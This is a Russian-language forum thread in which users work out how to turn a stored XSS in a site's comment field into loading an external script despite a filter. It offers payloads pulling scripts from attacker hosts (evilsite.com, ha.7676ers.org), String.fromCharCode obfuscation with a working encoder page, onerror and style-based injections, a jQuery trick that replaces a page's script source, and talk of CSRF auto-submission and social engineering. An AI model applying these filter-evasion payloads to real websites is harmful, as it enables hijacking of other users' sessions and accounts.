Привет всем, тестирую один сайт, в поле коментариев есть xss , нужно сделать подгрузку скрипта но такая конструкция фильтруется., Code: <script src="https://site.ru/1234.js?"></script> . Как можно еще подгрузить скрипт ? Алерт выскакивает при Code: URL-redirect vuln == XSS ! Location:data:text/html,<svg/onload=alert(document.domain)> и new XMLHttpRequest().open("GET", "data:text/html,<svg onload=alert(/@irsdl/)></svg>", false); #firefox #datauri
Да как угодно. Закодируй любой скрипт в коды символов: Code: eval(String.fromCharCode(11,22,33)) Кодировалка: Code: <html><body> <script type='text/javascript'> function encode() { var input = document.getElementById('input'); var output = document.getElementById('output'); var strIn = input.value; var codes = []; for (var j=0; j<strIn.length; j++) { codes.push(strIn.charCodeAt(j)); } output.value = codes.join(','); } </script> <textarea id='input' cols='80' rows='8'>alert('lolz');</textarea><br><br> <input type='button' value='Encode' onclick='encode()'></input><br><br> <textarea id='output' cols='80' rows='8'></textarea> </body></html>
Спасибо за совет . Но теперь другая проблема, алерт срабатывает когда вставляеш код скрипта в поле ( отправка режется фильтром) . Тоесть юзер должен сам скопировать код в поле коментариев , что не очень хорошо. Такой баг был в ВК недавно https://xakep.ru/2015/10/29/vk-emoji-bug/ . Я подумал возможно ли это обойти используя CSRF. Например вставить на своем сайте код формы коментариев с автоотправкой . Но не сработало. Кроме соц инжинерии вариантов нет ?
Вариантов полно. Тебе тут уже никто не скажет что конкретно надо делать. Надо просто брать и смотреть сайт, проверять на что реагируют фильтры и обходить их. Если яваскрипт там впринципе выполняется но как-то криво режется, то с большой степенью уверенности можно предположить, что фильтры обойти возможно. Надо просто хорошо уметь фронтенд-разработку.
Помогите разобратся , не могу понять как подгрузить js если нету тегов <script , алерт срабатывает при других , при таких например Code: <img src=foo.png onerror=alert(/xssed/) /> <style>@import'javascript:alert("XSS")';</style> Тоесть как раскрутить xss если использование <script > невозможно, во всех мануалах пишут примеры с алертом в тегах <style> , <IMG > , нигде нет как подгрузить js в таких XSS
Code: тоесть как то так ? "><STYLE>document.write("</SCRiPT SRC="http://ha.7676ers.org/6565.js")><STYLE>
Спасибо. Тоесть получается такой код Code: <img src=foo.png onerror=document.write(<script src="https://evilsite.com/1234.js?"></script>) /> Но если фильтр режет <script> , то в таком коде он тоже его отфильтрует. А если закодировать и фильтр пропустит код как не опасный , то такой же закодироавный код должен работать и сам по себе . Тоесть остальные теги и события по сути не нужны будут . Так или я не понимаю что-то ?
Ты в конструкцию onerror можешь вставить хоть целую библиотеку. Не обязтаельно туда файл подгружать. То примерно так onerror="var i = 'Hellow world'; alert(i); ..... (тонна комманд)....", но если подгружены бибилотеки вроде JQuery то все еще проще $('script').attr('src', 'Меняешь путь на свой') - таким образом ты подгрузишь свой JS ВМЕСТО какого то на странице.